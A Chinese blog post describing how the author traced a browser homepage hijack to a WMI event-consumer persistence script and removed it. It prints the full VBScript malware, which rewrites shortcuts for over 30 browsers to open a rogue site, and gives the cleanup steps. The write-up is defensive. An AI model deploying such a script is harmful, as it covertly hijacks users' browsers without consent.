抢救被流氓网站劫持的浏览器主页

抢救被流氓网站劫持的浏览器主页

 12 Mar 2017  View Count: 1857

转自知乎上我写的一篇回答。

最近重装了一次电脑。尽管什么百度系的软件我都没有下载,Chrome浏览器的主页还是被硬生生劫持了。每次点开后的主页是hao.qquu8.com这个链接,紧接着它会跳向hao123。电脑上原装的其他浏览器(IE和Edge)也是这样,弄得每次打开浏览器就被恶心一下,很是恼火。

我们先来看看问题在哪。右键快捷方式查看属性:

L2

哦,原来快捷方式被改了,后面加了一段url。把它删了试试?

还是不行,几分钟后还是被改回来了。

我在很多平台上找了解决办法。有的试了没有效果,重新开机后还是一样的毛病,有的推荐装“管家”,但这种以毒攻毒的办法无异于饮鸩止渴。最后终于有一种靠谱的方法,经过实验和一点修改,完美解决!

主页被劫持的原理是一段通过WMI发起的定时自动运行脚本,WMI(Windows Management Instrumentation)可以理解成Windows系统后台运行的一个事件管理器。为查看WMI事件,先去下载WMITools并安装:WMI工具。

之后打开WMI Event Viewer:

L3

点击左上角的笔的图标(Register For Events),在弹出的Connect to namespace的框直接点OK,Login的页面也直接点OK。点开左侧栏的EventFilter,再点击下级目录的项目:

L4

在右侧栏右键点击ActiveScriptEventConsumer,并通过view instant properties查看属性:

L5

在Script Text那一栏我们可以看到这段脚本:

On Error Resume Next Const link = "http://hao.qquu8.com/?m=yx&r=j" Const link360 = "http://hao.qquu8.com/?m=yx&r=j&s=3" browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe" lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\sjtul\Desktop,C:\Users\sjtul\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\sjtul\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\sjtul\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\sjtul\AppData\Roaming\Microsoft\Windows\Start Menu\Programs" browsersArr = split(browsers,",") Set oDic = CreateObject("scripting.dictionary") For Each browser In browsersArr    oDic.Add LCase(browser), browser Next lnkpathsArr = split(lnkpaths,",") Set oFolders = CreateObject("scripting.dictionary") For Each lnkpath In lnkpathsArr    oFolders.Add lnkpath, lnkpath Next Set fso = CreateObject("Scripting.Filesystemobject") Set WshShell = CreateObject("Wscript.Shell") For Each oFolder In oFolders    If fso.FolderExists(oFolder) Then        For Each file In fso.GetFolder(oFolder).Files            If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then                Set oShellLink = WshShell.CreateShortcut(file.Path)                path = oShellLink.TargetPath                name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)                If oDic.Exists(LCase(name)) Then                    If LCase(name) = LCase("360se.exe") Then                        oDicShellLink.Arguments = link360                    Else                        oShellLink.Arguments = link                    End If                    If file.Attributes And 1 Then                        fsoile.Attributes = file.Attributes - 1                    End If                    oShellLink.Save                End If            End If        Next    End If Next

终于抓到了幕后黑手。可以看到这是一段VBScript代码,攻击目标涵盖了包括Chrome、360、Firefox、搜狗等30余种常见的浏览器。脚本以浏览器的安装地址为切入点,创建WshShell对象,进而生成植入了流氓网站的快捷方式。360浏览器有限定主页格式,于是这段脚本还特地修饰了流氓网站的链接。唉,流氓至此,也是服了。

查到了源头如何清清除这段造孽的脚本呢?直接在WMI Event Viewer中将_EventFilter.Name=”VBScriptKids_filter”右键删掉会被系统拒绝掉,需要去WMI Event Viewer的安装位置,右键以管理员方式运行exe文件才能删掉。之后还要把各个快捷方式都改回不带流氓网站的版本,包括桌面上的、开始菜单里的以及快速访问栏里的快捷方式,其中开始菜单里的快捷方式要去C:\ProgramData\Microsoft\Windows\Start Menu\Programs里改掉。唉,一趟下来真是让人心累,好在最终浏览器摆脱了流氓网站的劫持:


不过还有更加简便的方法,推荐 火绒安全软件,纯天然无添加,扫描查杀一下20来分钟 自动搞定,不过杀毒软件都蛮占内存的,用完再卸载掉。

本文禁止转载或摘编

-- --
  • 投诉或建议
评论